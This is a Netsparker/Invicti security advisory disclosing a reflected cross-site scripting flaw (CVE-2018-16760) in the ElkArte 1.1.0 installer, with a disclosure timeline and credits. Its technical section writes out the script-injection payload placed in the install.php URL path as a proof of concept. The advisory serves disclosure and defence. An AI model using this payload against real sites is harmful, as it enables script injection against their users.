Information
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Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting Vulnerabilities in ElkArte
Affected Software: ElkArte
Affected Versions: 1.1.0
Homepage: https://www.elkarte.net/
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVE-ID: CVE-2018-16760
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-060

Technical Details
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URL  http://app.scan/ScanApp/Elkarte-Install/Elkarte-1.1.0/install/install.php/'"--></style></scRipt><scRipt>netsparker(0x0000D0)</scRipt>  
Proof URL  http://app.scan/ScanApp/Elkarte-Install/Elkarte-1.1.0/install/install.php/'"--></style></scRipt><scRipt>alert(0x0000D0)</scRipt>  
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x0000D0)</scRipt>  

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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6th December 2018- First Contact
7th December 2018 - Details Sent
13th February 2019 - Last Attempt to Contact
4th March 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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